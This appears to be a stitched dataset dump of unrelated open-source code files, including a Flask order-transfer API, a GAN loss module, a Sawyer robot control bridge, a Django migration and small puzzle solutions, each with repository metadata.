_month = 1 if month == 12 else month + 1
last_date = date(_year, _month, 1) - timedelta(days=1)
return last_date.day
def get_start_date(end_date, num_months_back):
"""
Get the same day 'X' number of months ago.
>>> end_date = date(2019, 6, 13)
>>> get_start_date(end_date, 1)
datetime.date(2019, 5, 13)
>>> get_start_date(end_date, 6)
datetime.date(2018, 12, 13)
>>> get_start_date(end_date, 12)
datetime.date(2018, 6, 13)
>>> get_start_date(end_date, 26)
datetime.date(2017, 4, 13)
"""
if num_months_back > end_date.month:
_end_date = get_start_date(end_date, end_date.month)
start_date = get_start_date(_end_date, num_months_back - end_date.month)
else:
if num_months_back == end_date.month:
year, month = end_date.year - 1, 12
else:
year, month = end_date.year, end_date.month - num_months_back
last_day = last_day_of_month(month, year)
day = min(end_date.day, last_day)
start_date = date(year, month, day)
return start_date
###########################################################################
# ROUTES
###########################################################################
@blueprint.route("/")
@blueprint.route(PREFIX)
def root():
response = {
"message": "Welcome to the ClozeCart API!",
"links": get_links(app.url_map.iter_rules()),
}
return jsonify(**response)
class Order(MethodView):
def get(self, order_id):
info = {
"description": "Get a Cloze customer for a PriceCloser order",
"links": get_links(app.url_map.iter_rules()),
}
order_response = get_pc_orders(order_id)
if order_response["ok"]:
pricecloser_order = order_response["result"]
response = get_cloze_customer(pricecloser_order)
else:
response = order_response
response.update(info)
return jsonify(**response)
def patch(self, order_id):
info = {"description": "Transfer a PriceCloser order to Cloze"}
kwargs = {k: parse(v) for k, v in request.args.to_dict().items()}
response = transfer_orders(order_id, **kwargs)
response.update(info)
return jsonify(**response)
def post(self, start=None, end=None):
info = {"description": "Transfer PriceCloser orders to Cloze"}
kwargs = {k: parse(v) for k, v in request.args.to_dict().items()}
response = transfer_orders(start=start, end=end, **kwargs)
response.update(info)
return jsonify(**response)
@blueprint.route(f"{PREFIX}/result/<string:job_id>")
def result(job_id):
"""Displays a job result.
Args:
job_id (str): The job id.
"""
job = q.fetch_job(job_id)
statuses = {
"queued": 202,
"started": 202,
"finished": 200,
"failed": 500,
"job not found": 404,
}
if job:
job_status = job.get_status()
job_result = job.result
else:
job_status = "job not found"
job_result = {}
response = {
"status_code": statuses[job_status],
"job_id": job_id,
"job_status": job_status,
"result": job_result,
"links": get_links(app.url_map.iter_rules()),
}
return jsonify(**response)
@blueprint.route(f"{PREFIX}/update")
def update(pid=None):
kwargs = {k: parse(v) for k, v in request.args.to_dict().items()}
sync = kwargs.get("sync")
with app.app_context():
if sync:
resp = {"result": func(*fargs, **fkwargs)}
else:
job = q.enqueue(func, *fargs, **fkwargs)
result_url = "%s/result/%s/" % (base, job.id)
resp = {
"job_id": job.id,
"job_status": job.get_status(),
"result_url": result_url,
}
return jsonify(**resp)
# https://stackoverflow.com/a/13381847/408556
# https://api.cloze.com/api-docs/#!
user = "<EMAIL>"
api_key = "<KEY>"
scope = "team"
stage = "lead"
segment = "customer"
changes = "false"
api_base = "https://api.cloze.com/v1"
@blueprint.route("/")
def companies():
params = {
"user": user,
"api_key": api_key,
"scope": scope,
"stage": stage,
"segment": segment,
"includeauditedchanges": changes,
}
route = f"{api_base}/companies/feed"
r = requests.get(route, params=params)
return jsonify(r.json())
@blueprint.route("/people")
def people():
params = {
"user": user,
"api_key": api_key,
"scope": scope,
"stage": stage,
"segment": segment,
"includeauditedchanges": changes,
}
route = f"{api_base}/people/feed"
r = requests.get(route, params=params)
return jsonify(r.json())
if __name__ == "__main__":
app.run(debug=True)
| 2.09375 | 2 |
tests/pysphinx_autoindex/data/input/test-project/tests/test_class.py | suburbanmtman/pysphinx-autoindex | 1 | 12764323 | <reponame>suburbanmtman/pysphinx-autoindex
# coding=utf-8
def test_method(param):
"""
Should not show up
:param param: any param
:return: None
"""
return None
| 1.945313 | 2 |
utils.py | Leaniz/gordologo | 1 | 12764324 | from unidecode import unidecode
def compare_name(name_1, name_2):
name_1 = unidecode(name_1).lower()
name_2 = unidecode(name_2).lower()
return name_1 == name_2
| 3.1875 | 3 |
main/migrations/0003_auto_20190525_0929.py | MenacingDwarf/HackGatchina | 1 | 12764325 | <gh_stars>1-10
# Generated by Django 2.2.1 on 2019-05-25 09:29
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('main', '0002_auto_20190525_0922'),
]
operations = [
migrations.AlterField(
model_name='sight',
name='categories',
field=models.TextField(default={'architecture': 0, 'art': 0, 'history': 0, 'interesting': 0, 'nature': 0, 'religion': 0, 'war': 0}),
),
]
| 1.523438 | 2 |
lstm.py | iibrahimli/lstm-text-generation | 2 | 12764326 | <reponame>iibrahimli/lstm-text-generation
from keras.models import Sequential
from keras.layers import Dense, Dropout, LSTM
from keras.callbacks import ModelCheckpoint
from keras.utils import np_utils
import numpy
filename = "input.txt"
raw_text = open(filename).read()
raw_text = raw_text.lower()
raw_text = [i for i in raw_text if (i.isalnum() or i in ['\n', ' ']) and i not in ['ë', 'ô']]
chars = sorted(list(set(raw_text)))
char_to_int = dict((c, i) for i, c in enumerate(chars))
n_chars = len(raw_text)
n_vocab = len(chars)
print("Total characters:", n_chars)
print("Total vocabulary:", n_vocab)
print("Characters:")
print(chars)
seq_length = 50
dataX = []
dataY = []
for i in range(0, n_chars - seq_length):
seq_in = raw_text[i:i+seq_length]
seq_out = raw_text[i+seq_length]
dataX.append([char_to_int[char] for char in seq_in])
dataY.append(char_to_int[seq_out])
n_patterns = len(dataX)
print("Total patterns:", n_patterns)
X = numpy.reshape(dataX, (n_patterns, seq_length, 1))
X = X / float(n_vocab)
y = np_utils.to_categorical(dataY)
model = Sequential()
model.add(LSTM(256, input_shape=(X.shape[1], X.shape[2]), return_sequences=True))
model.add(Dropout(0.2))
model.add(LSTM(256))
model.add(Dropout(0.2))
model.add(Dense(y.shape[1], activation='softmax'))
model.compile(loss='categorical_crossentropy', optimizer='adam')
filepath = "lstm_weights_{epoch:02d}-{loss:.5f}.hdf5"
checkpoint = ModelCheckpoint(filepath, monitor='loss', verbose=1, save_best_only=1, mode='min')
callbacks_list = [checkpoint]
# model.load_weights("lstm_weights_50-1.56724.hdf5")
model.fit(X, y, epochs=50, batch_size=128, callbacks=callbacks_list)
| 3.296875 | 3 |
personal/urls.py | KellenNjoroge/keller-gallery | 0 | 12764327 | from django.conf.urls import url
from . import views
from django.conf import settings
from django.conf.urls.static import static
urlpatterns = [
url('^$',views.index,name='index'),
url('^image/',views.single_image,name='single_image'),
url('^location/',views.images_by_location,name='location'),
url('^category/', views.images_by_category, name='category'),
]
if settings.DEBUG:
urlpatterns+= static(settings.MEDIA_URL, document_root = settings.MEDIA_ROOT)
| 1.9375 | 2 |
euler/p35.py | parin2092/cook | 0 | 12764328 | <reponame>parin2092/cook<filename>euler/p35.py
import math
n = 100
isPrime = [True for i in range(n)]
isPrime[0] = False
isPrime[1] = False
isPrime[2] = True
isPrime[3] = True
def perm(arr,pre,curr):
if len(curr) == 0:
arr.append(pre)
for i in xrange(len(curr)):
perm(arr, pre+curr[i], curr[0:i]+curr[i+1:])
def circPrime(n):
if n < 10:
return True
digits = set(list(str(n)))
usualSuspect = set(['0', '2', '4', '5', '6', '8'])
return True
def getAllCircPrimes():
sqrn = int(math.floor(math.sqrt(n)))+1
for i in xrange(2,sqrn):
if isPrime[i]:
for j in xrange(i*i,n,i):
isPrime[j] = False
primes = []
for i in xrange(n):
if isPrime[i]:
primes.append(i)
# print primes
s = 0
for prime in primes:
if circPrime(prime):
s += 1
print s
getAllCircPrimes() | 3.25 | 3 |
Algorithms/implementation_drawing_book.py | suketm/hackerrank | 0 | 12764329 | <filename>Algorithms/implementation_drawing_book.py
n = int(input())
p = int(input())
print (min(p//2, ((n + (n+1)%2)-p)//2 )) | 3.375 | 3 |
labml_nn/gan/original/__init__.py | dongfangyixi/annotated_deep_learning_paper_implementations | 1 | 12764330 | """
---
title: Generative Adversarial Networks (GAN)
summary: A simple PyTorch implementation/tutorial of Generative Adversarial Networks (GAN) loss functions.
---
# Generative Adversarial Networks (GAN)
This is an implementation of
[Generative Adversarial Networks](https://arxiv.org/abs/1406.2661).
The generator, $G(\pmb{z}; \theta_g)$ generates samples that match the
distribution of data, while the discriminator, $D(\pmb{x}; \theta_g)$
gives the probability that $\pmb{x}$ came from data rather than $G$.
We train $D$ and $G$ simultaneously on a two-player min-max game with value
function $V(G, D)$.
$$\min_G \max_D V(D, G) =
\mathop{\mathbb{E}}_{\pmb{x} \sim p_{data}(\pmb{x})}
\big[\log D(\pmb{x})\big] +
\mathop{\mathbb{E}}_{\pmb{z} \sim p_{\pmb{z}}(\pmb{z})}
\big[\log (1 - D(G(\pmb{z}))\big]
$$
$p_{data}(\pmb{x})$ is the probability distribution over data,
whilst $p_{\pmb{z}}(\pmb{z})$ probability distribution of $\pmb{z}$, which is set to
gaussian noise.
This file defines the loss functions. [Here](../simple_mnist_experiment.html) is an MNIST example
with two multilayer perceptron for the generator and discriminator.
"""
import torch
import torch.nn as nn
import torch.utils.data
import torch.utils.data
from labml_helpers.module import Module
class DiscriminatorLogitsLoss(Module):
"""
## Discriminator Loss
Discriminator should **ascend** on the gradient,
$$\nabla_{\theta_d} \frac{1}{m} \sum_{i=1}^m \Bigg[
\log D\Big(\pmb{x}^{(i)}\Big) +
\log \Big(1 - D\Big(G\Big(\pmb{z}^{(i)}\Big)\Big)\Big)
\Bigg]$$
$m$ is the mini-batch size and $(i)$ is used to index samples in the mini-batch.
$\pmb{x}$ are samples from $p_{data}$ and $\pmb{z}$ are samples from $p_z$.
"""
def __init__(self, smoothing: float = 0.2):
super().__init__()
# We use PyTorch Binary Cross Entropy Loss, which is
# $-\sum\Big[y \log(\hat{y}) + (1 - y) \log(1 - \hat{y})\Big]$,
# where $y$ are the labels and $\hat{y}$ are the predictions.
# *Note the negative sign*.
# We use labels equal to $1$ for $\pmb{x}$ from $p_{data}$
# and labels equal to $0$ for $\pmb{x}$ from $p_{G}.$
# Then descending on the sum of these is the same as ascending on
# the above gradient.
#
# `BCEWithLogitsLoss` combines softmax and binary cross entropy loss.
self.loss_true = nn.BCEWithLogitsLoss()
self.loss_false = nn.BCEWithLogitsLoss()
# We use label smoothing because it seems to work better in some cases
self.smoothing = smoothing
# Labels are registered as buffered and persistence is set to `False`.
self.register_buffer('labels_true', _create_labels(256, 1.0 - smoothing, 1.0), False)
self.register_buffer('labels_false', _create_labels(256, 0.0, smoothing), False)
def __call__(self, logits_true: torch.Tensor, logits_false: torch.Tensor):
"""
`logits_true` are logits from $D(\pmb{x}^{(i)})$ and
`logits_false` are logits from $D(G(\pmb{z}^{(i)}))$
"""
if len(logits_true) > len(self.labels_true):
self.register_buffer("labels_true",
_create_labels(len(logits_true), 1.0 - self.smoothing, 1.0, logits_true.device), False)
if len(logits_false) > len(self.labels_false):
self.register_buffer("labels_false",
_create_labels(len(logits_false), 0.0, self.smoothing, logits_false.device), False)
return (self.loss_true(logits_true, self.labels_true[:len(logits_true)]),
self.loss_false(logits_false, self.labels_false[:len(logits_false)]))
class GeneratorLogitsLoss(Module):
"""
## Generator Loss
Generator should **descend** on the gradient,
$$\nabla_{\theta_g} \frac{1}{m} \sum_{i=1}^m \Bigg[
\log \Big(1 - D\Big(G\Big(\pmb{z}^{(i)}\Big)\Big)\Big)
\Bigg]$$
"""
def __init__(self, smoothing: float = 0.2):
super().__init__()
self.loss_true = nn.BCEWithLogitsLoss()
self.smoothing = smoothing
# We use labels equal to $1$ for $\pmb{x}$ from $p_{G}.$
# Then descending on this loss is the same as descending on
# the above gradient.
self.register_buffer('fake_labels', _create_labels(256, 1.0 - smoothing, 1.0), False)
def __call__(self, logits: torch.Tensor):
if len(logits) > len(self.fake_labels):
self.register_buffer("fake_labels",
_create_labels(len(logits), 1.0 - self.smoothing, 1.0, logits.device), False)
return self.loss_true(logits, self.fake_labels[:len(logits)])
def _create_labels(n: int, r1: float, r2: float, device: torch.device = None):
"""
Create smoothed labels
"""
return torch.empty(n, 1, requires_grad=False, device=device).uniform_(r1, r2)
| 3.1875 | 3 |
Gallery/migrations/0011_auto_20210225_0853.py | CiganOliviu/InfiniteShoot | 1 | 12764331 | # Generated by Django 3.0.8 on 2021-02-25 08:53
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('Gallery', '0010_pickedimage'),
]
operations = [
migrations.RemoveField(
model_name='pickedimage',
name='cover_image',
),
migrations.AddField(
model_name='pickedimage',
name='cover_image',
field=models.ManyToManyField(to='Gallery.ImagesClient'),
),
]
| 1.546875 | 2 |
wiki4codes/lib_and_frameworks/detectron2/vhelper/detectron2/DetectronModelMeta.py | innerNULL/wiki4codes | 0 | 12764332 | # -*- coding: utf-8 -*-
# file: DetectronModelMeta.py
# date: 2021-09-23
from multipledispatch import dispatch
from detectron2 import model_zoo
from .. import common
class DetectronModelMeta(common.ModelMeta):
def __init__(self,
dataset: str, task: str, model: str, backbone: str
):
self._dataset: str = None
self._task: str = None
self._model: str = None
self._backbone: str = None
self._name: str = None
self._model_url: str = None
self._conf_name: str = None
self.init(dataset, task, model, backbone)
def init(self,
dataset: str, task: str, model: str, backbone: str
) -> None:
self._dataset = dataset
self._task = task
self._model = model
self._backbone = backbone
self._name = self._infer_model_name()
self._model_url = self._infer_model_url()
self._conf_name = self._infer_conf_name()
def _infer_model_name(self) -> str:
return "%s-%s-%s_%s" % (
self._dataset, self._task, self._model, self._backbone)
def _infer_model_url(self) -> str:
sub_path: str = "%s-%s/%s_%s" % (
self._dataset, self._task, self._model, self._backbone)
model_url: str = model_zoo.get_checkpoint_url(sub_path + ".yaml")
return model_url
def _infer_conf_name(self) -> str:
sub_path: str = "%s-%s/%s_%s" % (
self._dataset, self._task, self._model, self._backbone)
return sub_path + ".yaml"
def get_name(self) -> str:
return self._name
def get_model_url(self) -> str:
return self._model_url
def get_conf_name(self) -> str:
return self._conf_name
| 2.1875 | 2 |
tests/utils/test_coprime.py | reidhoch/oeis-seq | 0 | 12764333 | <filename>tests/utils/test_coprime.py
# coding=utf-8
# flake8: noqa
from math import gcd
from hypothesis import given
from hypothesis.strategies import integers
from oeis.utils import coprime
def lcm(x: int, y: int) -> int:
return (x * y) // gcd(x, y)
@given(a=integers(), b=integers())
def test_lcm_property(a: int, b: int) -> None:
if coprime(a, b):
assert lcm(a, b) == a * b
| 2.75 | 3 |
docs/snippets/bus0_sync.py | husqvarnagroup/pynng | 174 | 12764334 | <reponame>husqvarnagroup/pynng
import time
from pynng import Bus0, Timeout
address = 'tcp://127.0.0.1:13131'
with Bus0(listen=address, recv_timeout=100) as s0, \
Bus0(dial=address, recv_timeout=100) as s1, \
Bus0(dial=address, recv_timeout=100) as s2:
# let all connections be established
time.sleep(0.05)
s0.send(b'hello buddies')
s1.recv() # prints b'hello buddies'
s2.recv() # prints b'hello buddies'
s1.send(b'hi s0')
print(s0.recv()) # prints b'hi s0'
# s2 is not directly connected to s1.
try:
s2.recv()
assert False, "this is never reached"
except Timeout:
print('s2 is not connected directly to s1!')
| 2.609375 | 3 |
scripts/jointcontroller_host.py | rachelmh/sawyer_rr_bridge | 0 | 12764335 | #!/usr/bin/env python
import roslib
roslib.load_manifest('sawyer_rr_bridge')
import rospy
import intera_interface
from std_msgs.msg import Empty
import sys, argparse
import struct
import time
import RobotRaconteur as RR
import thread
import threading
import numpy
from geometry_msgs.msg import (
PoseStamped,
Pose,
Point,
Quaternion,
)
from std_msgs.msg import Header
from intera_core_msgs.srv import (
SolvePositionIK,
SolvePositionIKRequest,
)
sawyer_servicedef="""
#Service to provide simple interface to Sawyer
service SawyerJoint_Interface
option version 0.4
object Sawyer
property double[] joint_positions
property double[] joint_velocities
property double[] joint_torques
property double[] endeffector_positions
property double[] endeffector_orientations
property double[] endeffector_twists
property double[] endeffector_wrenches
function void setControlMode(uint8 mode)
function void setJointCommand(string limb, double[] command)
function void setPositionModeSpeed(double speed)
#function void readpos(double speed)
function double[] solveIKfast(double[] positions, double[] quaternions, string limb_choice)
end object
"""
class Sawyer_impl(object):
def __init__(self):
print "Initializing Node"
rospy.init_node('sawyer_jointstates')
print "Enabling Robot"
rs = intera_interface.RobotEnable()
rs.enable()
# self._valid_limb_names = {'left': 'left',
# 'l': 'left',
# 'right': 'right',
# 'r': 'right'}
self._valid_limb_names = {'right': 'right',
'r': 'right'}
# get information from the SDK
# self._left = intera_interface.Limb('left')
self._right = intera_interface.Limb('right')
#self._l_jnames = self._left.joint_names()
self._r_jnames = self._right.joint_names()
# data initializations
self._jointpos = [0]*7
self._jointvel = [0]*7
self._jointtor = [0]*7
self._ee_pos = [0]*3
self._ee_or = [0]*4
self._ee_tw = [0]*6
self._ee_wr = [0]*6
#self._l_joint_command = dict(zip(self._l_jnames,[0.0]*7))
self._r_joint_command = dict(zip(self._r_jnames,[0.0]*7))
self.MODE_POSITION = 0;
self.MODE_VELOCITY = 1;
self.MODE_TORQUE = 2;
self._mode = self.MODE_POSITION
# initial joint command is current pose
self.readJointPositions()
#self.setJointCommand('left',self._jointpos[0:7])
self.setJointCommand('right',self._jointpos[0:7])
# Start background threads
self._running = True
self._t_joints = threading.Thread(target=self.jointspace_worker)
self._t_joints.daemon = True
self._t_joints.start()
self._t_effector = threading.Thread(target=self.endeffector_worker)
self._t_effector.daemon = True
self._t_effector.start()
self._t_command = threading.Thread(target=self.command_worker)
self._t_command.daemon = True
self._t_command.start()
self.RMH_delay=.05
def close(self):
self._running = False
self._t_joints.join()
self._t_effector.join()
self._t_command.join()
if (self._mode != self.MODE_POSITION):
self._left.exit_control_mode()
self._right.exit_control_mode()
@property
def joint_positions(self):
return self._jointpos
@property
def joint_velocities(self):
return self._jointvel
@property
def joint_torques(self):
return self._jointtor
@property
def endeffector_positions(self):
return self._ee_pos
@property
def endeffector_orientations(self):
return self._ee_or
@property
def endeffector_twists(self):
return self._ee_tw
@property
def endeffector_wrenches(self):
return self._ee_wr
def readJointPositions(self):
#l_angles = self._left.joint_angles()
r_angles = self._right.joint_angles()
#if l_angles:
# for i in xrange(0,len(self._l_jnames)):
# self._jointpos[i] = l_angles[self._l_jnames[i]]
# if r_angles:
# for i in xrange(0,len(self._r_jnames)):
# self._jointpos[i+7] = r_angles[self._r_jnames[i]]
if r_angles:
for i in xrange(0,len(self._r_jnames)):
self._jointpos[i] = r_angles[self._r_jnames[i]]
def readJointVelocities(self):
#l_velocities = self._left.joint_velocities()
r_velocities = self._right.joint_velocities()
#if l_velocities:
# for i in xrange(0,len(self._l_jnames)):
# self._jointvel[i] = l_velocities[self._l_jnames[i]]
# if r_velocities:
# for i in xrange(0,len(self._r_jnames)):
# self._jointvel[i+7] = r_velocities[self._r_jnames[i]]
if r_velocities:
for i in xrange(0,len(self._r_jnames)):
self._jointvel[i] = r_velocities[self._r_jnames[i]]
def readJointTorques(self):
#l_efforts = self._left.joint_efforts()
r_efforts = self._right.joint_efforts()
#if l_efforts:
# for i in xrange(0,len(self._l_jnames)):
# self._jointtor[i] = l_efforts[self._l_jnames[i]]
if r_efforts:
for i in xrange(0,len(self._r_jnames)):
self._jointtor[i] = r_efforts[self._r_jnames[i]]
def readEndEffectorPoses(self):
# l_pose = self._left.endpoint_pose()
# if l_pose:
# self._ee_pos[0] = l_pose['position'].x
# self._ee_pos[1] = l_pose['position'].y
# self._ee_pos[2] = l_pose['position'].z
# self._ee_or[0] = l_pose['orientation'].w
# self._ee_or[1] = l_pose['orientation'].x
# self._ee_or[2] = l_pose['orientation'].y
# self._ee_or[3] = l_pose['orientation'].z
r_pose = self._right.endpoint_pose()
if r_pose:
self._ee_pos[0] = r_pose['position'].x
self._ee_pos[1] = r_pose['position'].y
self._ee_pos[2] = r_pose['position'].z
self._ee_or[0] = r_pose['orientation'].w
self._ee_or[1] = r_pose['orientation'].x
self._ee_or[2] = r_pose['orientation'].y
self._ee_or[3] = r_pose['orientation'].z
def readEndEffectorTwists(self):
# l_twist = self._left.endpoint_velocity()
# if l_twist:
# self._ee_tw[0] = l_twist['angular'].x
# self._ee_tw[1] = l_twist['angular'].y
# self._ee_tw[2] = l_twist['angular'].z
# self._ee_tw[3] = l_twist['linear'].x
# self._ee_tw[4] = l_twist['linear'].y
# self._ee_tw[5] = l_twist['linear'].z
r_twist = self._right.endpoint_velocity()
if r_twist:
self._ee_tw[0] = r_twist['angular'].x
self._ee_tw[1] = r_twist['angular'].y
self._ee_tw[2] = r_twist['angular'].z
self._ee_tw[3] = r_twist['linear'].x
self._ee_tw[4] = r_twist['linear'].y
self._ee_tw[5] = r_twist['linear'].z
def readEndEffectorWrenches(self):
# l_wrench = self._left.endpoint_effort()
# if l_wrench:
# self._ee_wr[0] = l_wrench['torque'].x
# self._ee_wr[1] = l_wrench['torque'].y
# self._ee_wr[2] = l_wrench['torque'].z
# self._ee_wr[3] = l_wrench['force'].x
# self._ee_wr[4] = l_wrench['force'].y
# self._ee_wr[5] = l_wrench['force'].z
r_wrench = self._right.endpoint_effort()
if r_wrench:
self._ee_wr[0] = r_wrench['torque'].x
self._ee_wr[1] = r_wrench['torque'].y
self._ee_wr[2] = r_wrench['torque'].z
self._ee_wr[3] = r_wrench['force'].x
self._ee_wr[4] = r_wrench['force'].y
self._ee_wr[5] = r_wrench['force'].z
def setControlMode(self, mode):
if mode != self.MODE_POSITION and \
mode != self.MODE_VELOCITY and \
mode != self.MODE_TORQUE:
return
if mode == self.MODE_POSITION:
# self._left.exit_control_mode()
self._right.exit_control_mode()
# set command to current joint positions
# self.setJointCommand('left',self._jointpos[0:7])
self.setJointCommand('right',self._jointpos[0:7])
elif mode == self.MODE_VELOCITY:
# set command to zeros
# self.setJointCommand('left',[0]*7)
self.setJointCommand('right',[0]*7)
elif mode == self.MODE_TORQUE:
# set command to zeros
# self.setJointCommand('left',[0]*7)
self.setJointCommand('right',[0]*7)
self._mode = mode
# This function calls RSDK ikFast Service
def solveIKfast(self, positions, quaternions, limb_choice):
ns = "ExternalTools/" + limb_choice + "/PositionKinematicsNode/IKService"
iksvc = rospy.ServiceProxy(ns, SolvePositionIK)
ikreq = SolvePositionIKRequest()
hdr = Header(stamp=rospy.Time.now(), frame_id='base')
poses = {}
# if (limb_choice == 'left' or limb_choice == 'l'):
# limb_choice = 'left'
# poses = {
# 'left': PoseStamped(
# header=hdr,
# pose=Pose(
# position = Point(
# x = positions[0],
# y = positions[1],
# z = positions[2],
# ),
# orientation = Quaternion(
# x = quaternions[1],
# y = quaternions[2],
# z = quaternions[3],
# w = quaternions[0],
# ),
# ),
# ),
# 'right': PoseStamped(
# header=hdr,
# pose=Pose(
# position = Point(
# x = self._ee_pos[3],
# y = self._ee_pos[4],
# z = self._ee_pos[5],
# ),
# orientation = Quaternion(
# x = self._ee_or[5],
# y = self._ee_or[6],
# z = self._ee_or[7],
# w = self._ee_or[4],
# ),
# ),
# ),
# }
if (limb_choice == 'right' or limb_choice == 'r'):
limb_choice = 'right'
poses = {
'left': PoseStamped(
header=hdr,
pose=Pose(
position = Point(
x = self._ee_pos[0],
y = self._ee_pos[1],
z = self._ee_pos[2],
),
orientation = Quaternion(
x = self._ee_or[1],
y = self._ee_or[2],
z = self._ee_or[3],
w = self._ee_or[0],
),
),
),
'right': PoseStamped(
header=hdr,
pose=Pose(
position = Point(
x = positions[0],
y = positions[1],
z = positions[2],
),
orientation = Quaternion(
x = quaternions[1],
y = quaternions[2],
z = quaternions[3],
w = quaternions[0],
),
),
),
}
else:
print "Not a valid arm"
return
# begin the solvinng process
ikreq.pose_stamp.append(poses[limb_choice])
try:
rospy.wait_for_service(ns, 5.0)
resp = iksvc(ikreq)
except (rospy.ServiceException, rospy.ROSException), e:
rospy.logerr("Service call failed: %s" % (e,))
return 1
# Check if result valid, and type of seed ultimately used to get solution
# convert rospy's string representation of uint8[]'s to int's
resp_seeds = struct.unpack('<%dB' % len(resp.result_type),
resp.result_type)
seed_dict = {
ikreq.SEED_USER: 'User Provided Seed',
ikreq.SEED_CURRENT: 'Current Joint Angles',
ikreq.SEED_NS_MAP: 'Nullspace Setpoints',
}
if (resp_seeds[0] != resp.RESULT_INVALID):
seed_str = seed_dict.get(resp_seeds[0], 'None')
print("SUCCESS - Valid Joint Solution Found from Seed Type: %s" %
(seed_str,))
# Format solution into Limb API-compatible dictionary
limb_joints = dict(zip(resp.joints[0].name, resp.joints[0].position))
print "\nIK Joint Solution:\n", limb_joints
print "------------------"
print "Response Message:\n", resp
# if no valid solution was found
else:
print("INVALID POSE - No Valid Joint Solution Found.")
return resp.joints[0].position
def setJointCommand(self, limb, command):
limb = limb.lower()
if not limb in self._valid_limb_names.keys():
return
# if self._valid_limb_names[limb] == 'left':
# for i in xrange(0,len(self._l_jnames)):
# self._l_joint_command[self._l_jnames[i]] = command[i]
if self._valid_limb_names[limb] == 'right':
for i in xrange(0,len(self._r_jnames)):
self._r_joint_command[self._r_jnames[i]] = command[i]
def setPositionModeSpeed(self, speed):
if speed < 0.0:
speed = 0.0
elif speed > 1.0:
speed = 1.0
# self._left.set_joint_position_speed(speed)
self._right.set_joint_position_speed(speed)
# worker function to request and update joint data for sawyer
# maintain 100 Hz read rate
# TODO: INCORPORATE USER-DEFINED JOINT PUBLISH RATE
def jointspace_worker(self):
while self._running:
t1 = time.time()
self.readJointPositions()
self.readJointVelocities()
self.readJointTorques()
while (time.time() - t1 < self.RMH_delay):
# idle
time.sleep(0.001)
# worker function to request and update end effector data for sawyer
# Try to maintain 100 Hz operation
def endeffector_worker(self):
while self._running:
t1 = time.time()
self.readEndEffectorPoses()
self.readEndEffectorTwists()
self.readEndEffectorWrenches()
while (time.time() - t1 < self.RMH_delay):
# idle
time.sleep(0.001)
# worker function to continuously issue commands to sawyer
# Try to maintain 100 Hz operation
# TODO: INCLUDE CLOCK JITTER CORRECTION
def command_worker(self):
while self._running:
t1 = time.time()
if (self._mode == self.MODE_POSITION):
# self._left.set_joint_positions(self._l_joint_command)
self._right.set_joint_positions(self._r_joint_command)
elif (self._mode == self.MODE_VELOCITY):
# self._left.set_joint_velocities(self._l_joint_command)
self._right.set_joint_velocities(self._r_joint_command)
elif (self._mode == self.MODE_TORQUE):
#self._supp_cuff_int_pubs['left'].publish()
#self._supp_cuff_int_pubs['right'].publish()
# self._left.set_joint_torques(self._l_joint_command)
self._right.set_joint_torques(self._r_joint_command)
while (time.time() - t1 < self.RMH_delay):
# idle
time.sleep(0.001)
def main(argv):
# parse command line arguments
parser = argparse.ArgumentParser(
description='Initialize Joint Controller.')
parser.add_argument('--port', type=int, default = 0,
help='TCP port to host service on' + \
'(will auto-generate if not specified)')
args = parser.parse_args(argv)
#Enable numpy
RR.RobotRaconteurNode.s.UseNumPy=True
#Set the Node name
RR.RobotRaconteurNode.s.NodeName="SawyerJointServer"
#Initialize object
sawyer_obj = Sawyer_impl()
#Create transport, register it, and start the server
print "Registering Transport"
t = RR.TcpTransport()
t.EnableNodeAnnounce(RR.IPNodeDiscoveryFlags_NODE_LOCAL |
RR.IPNodeDiscoveryFlags_LINK_LOCAL |
RR.IPNodeDiscoveryFlags_SITE_LOCAL)
RR.RobotRaconteurNode.s.RegisterTransport(t)
t.StartServer(args.port)
port = args.port
if (port == 0):
port = t.GetListenPort()
#Register the service type and the service
print "Starting Service"
RR.RobotRaconteurNode.s.RegisterServiceType(sawyer_servicedef)
RR.RobotRaconteurNode.s.RegisterService("Sawyer",
"SawyerJoint_Interface.Sawyer",
sawyer_obj)
print "Service started, connect via"
print "tcp://localhost:" + str(port) + "/SawyerJointServer/Sawyer"
raw_input("press enter to quit...\r\n")
sawyer_obj.close()
# This must be here to prevent segfault
RR.RobotRaconteurNode.s.Shutdown()
if __name__ == '__main__':
main(sys.argv[1:])
| 2.25 | 2 |
entertainment_center.py | azhurb/movie-trailer-website | 1 | 12764336 | import fresh_tomatoes
import media
# Create a data structure
alien = media.Movie(
"Alien",
"During its return to the earth, commercial spaceship\
Nostromo intercepts a distress signal from a distant planet.",
"https://image.tmdb.org/t/p/w640/2h00HrZs89SL3tXB4nbkiM7BKHs.jpg",
"https://www.youtube.com/watch?v=jQ5lPt9edzQ")
matrix = media.Movie(
"The Matrix",
"Set in the 22nd century, The Matrix tells the story of a\
computer hacker who joins a group of underground insurgents\
fighting the vast and powerful computers who now rule the earth.",
"https://image.tmdb.org/t/p/w640/hEpWvX6Bp79eLxY1kX5ZZJcme5U.jpg",
"https://www.youtube.com/watch?v=oZ1-M8O70zk")
interstellar = media.Movie(
"Interstellar",
"Interstellar chronicles the adventures of a group of\
explorers who make use of a newly discovered wormhole\
to surpass the limitations on human space travel and\
conquer the vast distances involved in an interstellar voyage.",
"https://image.tmdb.org/t/p/w640/nBNZadXqJSdt05SHLqgT0HuC5Gm.jpg",
"https://www.youtube.com/watch?v=zSWdZVtXT7E")
prometheus = media.Movie(
"Prometheus",
"A team of explorers discover a clue to the origins\
of mankind on Earth, leading them on a journey\
to the darkest corners of the universe.",
"https://image.tmdb.org/t/p/w640/ng8ALjSDhUmwLl7vtjUWIZNQSlt.jpg",
"https://www.youtube.com/watch?v=r-EZC5zn2Fk")
edge = media.Movie(
"Edge of Tomorrow",
"<NAME> is an officer who has never seen\
a day of combat when he is unceremoniously demoted\
and dropped into combat.",
"https://image.tmdb.org/t/p/w640/tpoVEYvm6qcXueZrQYJNRLXL88s.jpg",
"https://www.youtube.com/watch?v=fLe_qO4AE-M")
inception = media.Movie(
"Inception",
"Cobb, a skilled thief who commits corporate espionage\
by infiltrating the subconscious of his targets is offered\
a chance to regain his old life as payment for a task\
considered to be impossible: the implantation of\
another person's idea into a target's subconscious.",
"https://image.tmdb.org/t/p/w640/qmDpIHrmpJINaRKAfWQfftjCdyi.jpg",
"https://www.youtube.com/watch?v=YoHD9XEInc0")
movies = [alien,
matrix,
interstellar,
prometheus,
edge,
inception]
# Run page generator
fresh_tomatoes.open_movies_page(movies)
| 2.75 | 3 |
